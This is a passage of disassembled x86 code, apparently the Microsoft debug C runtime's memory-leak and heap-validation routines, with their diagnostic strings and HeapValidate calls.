[ebp+var_8] cmp dword ptr [edx+14h], 0 jnz short loc_41C2CA mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx mov dl, ds:byte_44FA4D push edx mov eax, [ebp+var_8] add eax, 20h push eax call sub_41BF70 add esp, 0Ch test eax, eax jnz short loc_41C2CA loc_41C29B: ; CODE XREF: sub_41C000+2C1j mov ecx, [ebp+var_8] add ecx, 20h push ecx push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C2BD int 3 ; Trap to Debugger loc_41C2BD: ; CODE XREF: sub_41C000+2BAj xor edx, edx test edx, edx jnz short loc_41C29B mov [ebp+var_10], 0 loc_41C2CA: ; CODE XREF: sub_41C000+278j ; sub_41C000+299j cmp [ebp+var_10], 0 jnz short loc_41C346 mov eax, [ebp+var_8] cmp dword ptr [eax+8], 0 jz short loc_41C30C loc_41C2D9: ; CODE XREF: sub_41C000+30Aj mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_14] push edx push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41C306 int 3 ; Trap to Debugger loc_41C306: ; CODE XREF: sub_41C000+303j xor eax, eax test eax, eax jnz short loc_41C2D9 loc_41C30C: ; CODE XREF: sub_41C000+2D7j ; sub_41C000+33Dj mov ecx, [ebp+var_8] mov edx, [ecx+10h] push edx mov eax, [ebp+var_8] add eax, 20h push eax mov ecx, [ebp+var_14] push ecx push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41C339 int 3 ; Trap to Debugger loc_41C339: ; CODE XREF: sub_41C000+336j xor edx, edx test edx, edx jnz short loc_41C30C mov [ebp+var_4], 0 loc_41C346: ; CODE XREF: sub_41C000+2CEj jmp loc_41C153 ; --------------------------------------------------------------------------- loc_41C34B: ; CODE XREF: sub_41C000+15Fj push 9 call sub_421B20 add esp, 4 mov eax, [ebp+var_4] loc_41C358: ; CODE XREF: sub_41C000+21j ; sub_41C000+144j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41C000 endp ; --------------------------------------------------------------------------- off_41C35F dd offset loc_41C0EA ; DATA XREF: sub_41C000+68r dd offset loc_41C0C2 dd offset loc_41C09A dd offset loc_41C06F align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_44FA40 mov [ebp-4], eax cmp dword ptr [ebp+8], 0FFFFFFFFh jz short loc_41C38B mov ecx, [ebp+8] mov ds:dword_44FA40, ecx loc_41C38B: ; CODE XREF: seg000:0041C380j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_44FA40 and eax, 1 test eax, eax jnz short loc_41C3B2 jmp short loc_41C403 ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: seg000:0041C3AEj push 9 call sub_421A80 add esp, 4 mov ecx, ds:dword_4EE95C mov [ebp-4], ecx jmp short loc_41C3CF ; --------------------------------------------------------------------------- loc_41C3C7: ; CODE XREF: seg000:loc_41C3F7j mov edx, [ebp-4] mov eax, [edx] mov [ebp-4], eax loc_41C3CF: ; CODE XREF: seg000:0041C3C5j cmp dword ptr [ebp-4], 0 jz short loc_41C3F9 mov ecx, [ebp-4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41C3F7 mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] add ecx, 20h push ecx call dword ptr [ebp+8] add esp, 8 loc_41C3F7: ; CODE XREF: seg000:0041C3E4j jmp short loc_41C3C7 ; --------------------------------------------------------------------------- loc_41C3F9: ; CODE XREF: seg000:0041C3D3j push 9 call sub_421B20 add esp, 4 loc_41C403: ; CODE XREF: seg000:0041C3B0j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_41C410: ; CODE XREF: sub_41C460+19p ; seg000:0041C55Ap ... push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jz short loc_41C44D mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call near ptr 3D0000h mov word ptr [ebp-7CDE8A40h], es jge short loc_41C43F add [edx+edx-75h], dh push ebp or al, 52h mov eax, [ebp+8] push eax call near ptr 3D0000h loc_41C43F: ; CODE XREF: seg000:0041C42Dj pop dword ptr [ebp-38F68A40h] inc ebp cld add [eax], eax ; --------------------------------------------------------------------------- db 2 dup(0), 0EBh ; --------------------------------------------------------------------------- pop es loc_41C44D: ; CODE XREF: seg000:0041C418j mov dword ptr [ebp-4], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C460 proc near ; CODE XREF: sub_41B330+1AAp ; sub_41B920+9Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_41C46E xor eax, eax jmp short loc_41C4E2 ; --------------------------------------------------------------------------- loc_41C46E: ; CODE XREF: sub_41C460+8j push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call loc_41C410 add esp, 0Ch test eax, eax jnz short loc_41C489 xor eax, eax jmp short loc_41C4E2 ; --------------------------------------------------------------------------- loc_41C489: ; CODE XREF: sub_41C460+23j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call sub_422180 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41C4B6 mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call sub_4221E0 add esp, 8 jmp short loc_41C4E2 ; --------------------------------------------------------------------------- loc_41C4B6: ; CODE XREF: sub_41C460+3Fj mov ecx, ds:dword_4EE96C and ecx, 8000h test ecx, ecx jz short loc_41C4CD mov eax, 1 jmp short loc_41C4E2 ; --------------------------------------------------------------------------- loc_41C4CD: ; CODE XREF: sub_41C460+64j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, ds:dword_4EF060 push eax call ds:dword_4F1414 ; HeapValidate loc_41C4E2: ; CODE XREF: sub_41C460+Cj ; sub_41C460+27j ... mov esp, ebp pop ebp retn sub_41C460 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] push eax call sub_41C460 add esp, 4 test eax, eax jnz short loc_41C50B xor eax, eax jmp loc_41C5CF ; --------------------------------------------------------------------------- loc_41C50B: ; CODE XREF: seg000:0041C502j push 9 call sub_421A80 add esp, 4 mov ecx, [ebp+8] sub ecx, 20h mov [ebp-4], ecx mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41C550 mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 1 jz short loc_41C550 mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41C550 mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 3 jnz short loc_41C5C3 loc_41C550: ; CODE XREF: seg000:0041C52Cj ; seg000:0041C535j ... push 1 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call loc_41C410 add esp, 0Ch test eax, eax jz short loc_41C5C3 mov ecx, [ebp-4] mov edx, [ecx+10h] cmp edx, [ebp+0Ch] jnz short loc_41C5C3 mov eax, [ebp-4] mov ecx, [eax+18h] cmp ecx, ds:dword_44FA44 jg short loc_41C5C3 cmp dword ptr [ebp+10h], 0 jz short loc_41C590 mov edx, [ebp+10h] mov eax, [ebp-4] mov ecx, [eax+18h] mov [edx], ecx loc_41C590: ; CODE XREF: seg000:0041C583j cmp dword ptr [ebp+14h], 0 jz short loc_41C5A1 mov edx, [ebp+14h] mov eax, [ebp-4] mov ecx, [eax+8] mov [edx], ecx loc_41C5A1: ; CODE XREF: seg000:0041C594j cmp dword ptr [ebp+18h], 0 jz short loc_41C5B2 mov edx, [ebp+18h] mov eax, [ebp-4] mov ecx, [eax+0Ch] mov [edx], ecx loc_41C5B2: ; CODE XREF: seg000:0041C5A5j push 9 call sub_421B20 add esp, 4 mov eax, 1 jmp short loc_41C5CF ; --------------------------------------------------------------------------- loc_41C5C3: ; CODE XREF: seg000:0041C54Ej ; seg000:0041C564j ... push 9 call sub_421B20 add esp, 4 xor eax, eax loc_41C5CF: ; CODE XREF: seg000:0041C506j ; seg000:0041C5C1j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_4F0094 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4F0094, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C600 proc near ; CODE XREF: seg000:0041CC8Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41C63A loc_41C60F: ; CODE XREF: sub_41C600+33j push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C62F int 3 ; Trap to Debugger loc_41C62F: ; CODE XREF: sub_41C600+2Cj xor eax, eax test eax, eax jnz short loc_41C60F jmp loc_41C763 ; --------------------------------------------------------------------------- loc_41C63A: ; CODE XREF: sub_41C600+Dj push 9 call sub_421A80 add esp, 4 mov ecx, [ebp+arg_0] mov edx, ds:dword_4EE95C mov [ecx], edx mov [ebp+var_4], 0 jmp short loc_41C661 ; --------------------------------------------------------------------------- loc_41C658: ; CODE XREF: sub_41C600+83j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41C661: ; CODE XREF: sub_41C600+56j cmp [ebp+var_4], 5 jge short loc_41C685 mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_41C658 ; --------------------------------------------------------------------------- loc_41C685: ; CODE XREF: sub_41C600+65j mov edx, ds:dword_4EE95C mov [ebp+var_8], edx jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C690: ; CODE XREF: sub_41C600:loc_41C73Cj mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_8], ecx loc_41C698: ; CODE XREF: sub_41C600+8Ej cmp [ebp+var_8], 0 jz loc_41C741 mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_41C717 mov ecx, [ebp+var_8] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_41C717 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, [ebp+var_8] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, [ebp+var_8] add edx, [eax+10h] mov ecx, [ebp+var_8] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C717: ; CODE XREF: sub_41C600+AFj ; sub_41C600+C0j ... mov edx, [ebp+var_8] push edx push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C736 int 3 ; Trap to Debugger loc_41C736: ; CODE XREF: sub_41C600+133j xor eax, eax test eax, eax jnz short loc_41C717 loc_41C73C: ; CODE XREF: sub_41C600+115j jmp loc_41C690 ; --------------------------------------------------------------------------- loc_41C741: ; CODE XREF: sub_41C600+9Cj mov ecx, [ebp+arg_0] mov edx, ds:dword_4EE964 mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, ds:dword_4EE958 mov [eax+30h], ecx push 9 call sub_421B20 add esp, 4 loc_41C763: ; CODE XREF: sub_41C600+35j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41C600 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov dword ptr [ebp-8], 0 cmp dword ptr [ebp+8], 0 jz short loc_41C792 cmp dword ptr [ebp+0Ch], 0 jz short loc_41C792 cmp dword ptr [ebp+10h], 0 jnz short loc_41C7C0 loc_41C792: ; CODE XREF: seg000:0041C784j ; seg000:0041C78Aj ... push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C7B2 int 3 ; Trap to Debugger loc_41C7B2: ; CODE XREF: seg000:0041C7AFj xor eax, eax test eax, eax jnz short loc_41C792 mov eax, [ebp-8] jmp loc_41C88C ; --------------------------------------------------------------------------- loc_41C7C0: ; CODE XREF: seg000:0041C790j mov dword ptr [ebp-4], 0 jmp short loc_41C7D2 ; --------------------------------------------------------------------------- loc_41C7C9: ; CODE XREF: seg000:loc_41C857j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_41C7D2: ; CODE XREF: seg000:0041C7C7j cmp dword ptr [ebp-4], 5 jge loc_41C85C mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+18h] sub edx, [esi+ecx*4+18h] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+18h], edx mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+4] sub edx, [esi+ecx*4+4] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+4], edx mov edx, [ebp-4] mov eax, [ebp+8] cmp dword ptr [eax+edx*4+18h], 0 jnz short loc_41C832 mov ecx, [ebp-4] mov edx, [ebp+8] cmp dword ptr [edx+ecx*4+4], 0 jz short loc_41C857 loc_41C832: ; CODE XREF: seg000:0041C823j cmp dword ptr [ebp-4], 0 jz short loc_41C857 cmp dword ptr [ebp-4], 2 jnz short loc_41C850 cmp dword ptr [ebp-4], 2 jnz short loc_41C857 mov eax, ds:dword_44FA40 and eax, 10h test eax, eax jz short loc_41C857 loc_41C850: ; CODE XREF: seg000:0041C83Cj mov dword ptr [ebp-8], 1 loc_41C857: ; CODE XREF: seg000:0041C830j ; seg000:0041C836j ... jmp loc_41C7C9 ; --------------------------------------------------------------------------- loc_41C85C: ; CODE XREF: seg000:0041C7D6j mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, [ecx+2Ch] sub eax, [edx+2Ch] mov ecx, [ebp+8] mov [ecx+2Ch], eax mov edx, [ebp+10h] mov eax, [ebp+0Ch] mov ecx, [edx+30h] sub ecx, [eax+30h] mov edx, [ebp+8] mov [edx+30h], ecx mov eax, [ebp+8] mov dword ptr [eax], 0 mov eax, [ebp-8] loc_41C88C: ; CODE XREF: seg000:0041C7BBj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8A0 proc near ; CODE XREF: seg000:0041CCDCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_8], 0 push 9 call sub_421A80 add esp, 4 loc_41C8BA: ; CODE XREF: sub_41C8A0+3Ej push offset aDumpingObjects ; "Dumping objects ->\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C8DA int 3 ; Trap to Debugger loc_41C8DA: ; CODE XREF: sub_41C8A0+37j xor eax, eax test eax, eax jnz short loc_41C8BA cmp [ebp+arg_0], 0 jz short loc_41C8EE mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_8], edx loc_41C8EE: ; CODE XREF: sub_41C8A0+44j mov eax, ds:dword_4EE95C mov [ebp+var_4], eax jmp short loc_41C900 ; --------------------------------------------------------------------------- loc_41C8F8: ; CODE XREF: sub_41C8A0:loc_41CB1Dj mov ecx, [ebp+var_4] mov edx, [ecx] mov [ebp+var_4], edx loc_41C900: ; CODE XREF: sub_41C8A0+56j cmp [ebp+var_4], 0 jz loc_41CB22 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz loc_41CB22 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 3 jz short loc_41C954 mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh test ecx, ecx jz short loc_41C954 mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41C959 mov ecx, ds:dword_44FA40 and ecx, 10h test ecx, ecx jnz short loc_41C959 loc_41C954: ; CODE XREF: sub_41C8A0+85j ; sub_41C8A0+95j jmp loc_41CB1D ; --------------------------------------------------------------------------- loc_41C959: ; CODE XREF: sub_41C8A0+A5j ; sub_41C8A0+B2j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_41C9D2 push 0 push 1 mov eax, [ebp+var_4] mov ecx, [eax+8] push ecx call loc_41C410 add esp, 0Ch test eax, eax jnz short loc_41C9A3 loc_41C979: ; CODE XREF: sub_41C8A0+FFj mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax push offset aFileErrorD ; "#File Error#(%d) : " push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C99B int 3 ; Trap to Debugger loc_41C99B: ; CODE XREF: sub_41C8A0+F8j xor ecx, ecx test ecx, ecx jnz short loc_41C979 jmp short loc_41C9D2 ; --------------------------------------------------------------------------- loc_41C9A3: ; CODE XREF: sub_41C8A0+D7j ; sub_41C8A0+130j mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx push offset aHsD ; "%hs(%d) : " push 0 push 0 push 0 push 0 call loc_420E10 add esp, 1Ch cmp eax, 1 jnz short loc_41C9CC int 3 ; Trap to Debugger loc_41C9CC: ; CODE XREF: sub_41C8A0+129j xor eax, eax test eax, eax jnz short loc_41C9A3 loc_41C9D2: ; CODE XREF: sub_41C8A0+C0j ; sub_41C8A0+101j ... mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx push offset aLd ; "{%ld} " push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41C9F4 int 3 ; Trap to Debugger loc_41C9F4: ; CODE XREF: sub_41C8A0+151j xor eax, eax test eax, eax jnz short loc_41C9D2 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41CA7C loc_41CA0B: ; CODE XREF: sub_41C8A0+1A7j mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41CA43 int 3 ; Trap to Debugger loc_41CA43: ; CODE XREF: sub_41C8A0+1A0j xor edx, edx test edx, edx jnz short loc_41CA0B cmp ds:dword_4F0094, 0 jz short loc_41CA6B mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] add edx, 20h push edx call ds:dword_4F0094 add esp, 8 jmp short loc_41CA77 ; --------------------------------------------------------------------------- loc_41CA6B: ; CODE XREF: sub_41C8A0+1B0j mov eax, [ebp+var_4] push eax call sub_41CB60 add esp, 4 loc_41CA77: ; CODE XREF: sub_41C8A0+1C9j jmp loc_41CB1D ; --------------------------------------------------------------------------- loc_41CA7C: ; CODE XREF: sub_41C8A0+169j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jnz short loc_41CAC2 loc_41CA85: ; CODE XREF: sub_41C8A0+212j mov edx, [ebp+var_4] mov eax, [edx+10h] push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 1Ch cmp eax, 1 jnz short loc_41CAAE int 3 ; Trap to Debugger loc_41CAAE: ; CODE XREF: sub_41C8A0+20Bj xor edx, edx test edx, edx jnz short loc_41CA85 mov eax, [ebp+var_4] push eax call sub_41CB60 add esp, 4 jmp short loc_41CB1D ; --------------------------------------------------------------------------- loc_41CAC2: ; CODE XREF: sub_41C8A0+1E3j mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jnz short loc_41CB1D loc_41CAD3: ; CODE XREF: sub_41C8A0+26Fj mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"... push 0 push 0 push 0 push 0 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41CB0B int 3 ; Trap to Debugger loc_41CB0B: ; CODE XREF: sub_41C8A0+268j xor edx, edx test edx, edx jnz short loc_41CAD3 mov eax, [ebp+var_4] push eax call sub_41CB60 add esp, 4 loc_41CB1D: ; CODE XREF: sub_41C8A0:loc_41C954j ; sub_41C8A0:loc_41CA77j ... jmp loc_41C8F8 ; --------------------------------------------------------------------------- loc_41CB22: ; CODE XREF: sub_41C8A0+64j ; sub_41C8A0+70j push 9 call sub_421B20 add esp, 4 loc_41CB2C: ; CODE XREF: sub_41C8A0+2B0j push offset aObjectDumpComp ; "Object dump complete.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41CB4C int 3 ; Trap to Debugger loc_41CB4C: ; CODE XREF: sub_41C8A0+2A9j xor ecx, ecx test ecx, ecx jnz short loc_41CB2C pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41C8A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB60 proc near ; CODE XREF: sub_41C8A0+1CFp ; sub_41C8A0+218p ... var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_34 = byte ptr -34h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov [ebp+var_4C], 0 jmp short loc_41CB7B ; --------------------------------------------------------------------------- loc_41CB72: ; CODE XREF: sub_41CB60+D7j mov eax, [ebp+var_4C] add eax, 1 mov [ebp+var_4C], eax loc_41CB7B: ; CODE XREF: sub_41CB60+10j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 10h jge short loc_41CB8F mov edx, [ebp+arg_0] mov eax, [edx+10h] mov [ebp+var_54], eax jmp short loc_41CB96 ; --------------------------------------------------------------------------- loc_41CB8F: ; CODE XREF: sub_41CB60+22j mov [ebp+var_54], 10h loc_41CB96: ; CODE XREF: sub_41CB60+2Dj mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_54] jge loc_41CC3C mov edx, [ebp+arg_0] add edx, [ebp+var_4C] mov al, [edx+20h] mov byte ptr [ebp+var_50], al cmp ds:dword_44FD20, 1 jle short loc_41CBD3 push 157h mov ecx, [ebp+var_50] and ecx, 0FFh push ecx call sub_423D90 add esp, 8 mov [ebp+var_58], eax jmp short loc_41CBF0 ; --------------------------------------------------------------------------- loc_41CBD3: ; CODE XREF: sub_41CB60+55j mov edx, [ebp+var_50] and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 157h mov [ebp+var_58], ecx loc_41CBF0: ; CODE XREF: sub_41CB60+71j cmp [ebp+var_58], 0 jz short loc_41CC04 mov edx, [ebp+var_50] and edx, 0FFh mov [ebp+var_5C], edx jmp short loc_41CC0B ; --------------------------------------------------------------------------- loc_41CC04: ; CODE XREF: sub_41CB60+94j mov [ebp+var_5C], 20h loc_41CC0B: ; CODE XREF: sub_41CB60+A2j mov eax, [ebp+var_4C] mov cl, byte ptr [ebp+var_5C] mov [ebp+eax+var_48], cl mov edx, [ebp+var_50] and edx, 0FFh push edx push offset a_2x ; "%.2X " mov eax, [ebp+var_4C] imul eax, 3 lea ecx, [ebp+eax+var_34] push ecx call sub_41D260 add esp, 0Ch jmp loc_41CB72 ; --------------------------------------------------------------------------- loc_41CC3C: ; CODE XREF: sub_41CB60+3Cj mov edx, [ebp+var_4C] mov [ebp+edx+var_48], 0 loc_41CC44: ; CODE XREF: sub_41CB60+10Bj lea eax, [ebp+var_34] push eax lea ecx, [ebp+var_48] push ecx push offset aDataSS ; " Data: <%s> %s\n" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 1Ch cmp eax, 1 jnz short loc_41CC67 int 3 ; Trap to Debugger loc_41CC67: ; CODE XREF: sub_41CB60+104j xor edx, edx test edx, edx jnz short loc_41CC44 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi lea eax, [ebp-34h] push eax call sub_41C600 add esp, 4 cmp dword ptr [ebp-20h], 0 jnz short loc_41CCB4 cmp dword ptr [ebp-2Ch], 0 jnz short loc_41CCB4 mov ecx, ds:dword_44FA40 and ecx, 10h test ecx, ecx jz short loc_41CCEB cmp dword ptr [ebp-28h], 0 jz short loc_41CCEB loc_41CCB4: ; CODE XREF: seg000:0041CC99j ; seg000:0041CC9Fj ... push offset aDetectedMemory ; "Detected memory leaks!\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41CCD4 int 3 ; Trap to Debugger loc_41CCD4: ; CODE XREF: seg000:0041CCD1j xor edx, edx test edx, edx jnz short loc_41CCB4 push 0 call sub_41C8A0 add esp, 4 mov eax, 1 jmp short loc_41CCED ; --------------------------------------------------------------------------- loc_41CCEB: ; CODE XREF: seg000:0041CCACj ; seg000:0041CCB2j xor eax, eax loc_41CCED: ; CODE XREF: seg000:0041CCE9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi cmp dword ptr [ebp+8], 0 jnz short loc_41CD12 jmp loc_41CDBE ; --------------------------------------------------------------------------- loc_41CD12: ; CODE XREF: seg000:0041CD0Bj mov dword ptr [ebp-4], 0 jmp short loc_41CD24 ; --------------------------------------------------------------------------- loc_41CD1B: ; CODE XREF: seg000:0041CD6Cj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_41CD24: ; CODE XREF: seg000:0041CD19j cmp dword ptr [ebp-4], 5 jge short loc_41CD6E loc_41CD2A: ; CODE XREF: seg000:0041CD6Aj mov ecx, [ebp-4] mov edx, ds:off_44FA50[ecx*4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+18h] push edx push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 20h cmp eax, 1 jnz short loc_41CD66 int 3 ; Trap to Debugger loc_41CD66: ; CODE XREF: seg000:0041CD63j xor eax, eax test eax, eax jnz short loc_41CD2A jmp short loc_41CD1B ; --------------------------------------------------------------------------- loc_41CD6E: ; CODE XREF: seg000:0041CD28j ; seg000:0041CD94j mov ecx, [ebp+8] mov edx, [ecx+2Ch] push edx push offset aLargestNumberU ; "Largest number used: %ld bytes.\n" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41CD90 int 3 ; Trap to Debugger loc_41CD90: ; CODE XREF: seg000:0041CD8Dj xor eax, eax test eax, eax jnz short loc_41CD6E loc_41CD96: ; CODE XREF: seg000:0041CDBCj mov ecx, [ebp+8] mov edx, [ecx+30h] push edx push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n" push 0 push 0 push 0 push 0 call loc_420E10 add esp, 18h cmp eax, 1 jnz short loc_41CDB8 int 3 ; Trap to Debugger loc_41CDB8: ; CODE XREF: seg000:0041CDB5j xor eax, eax test eax, eax jnz short loc_41CD96 loc_41CDBE: ; CODE XREF: seg000:0041CD0Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CDD0 proc near ; CODE XREF: seg000:00401108p ; sub_41037E+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, 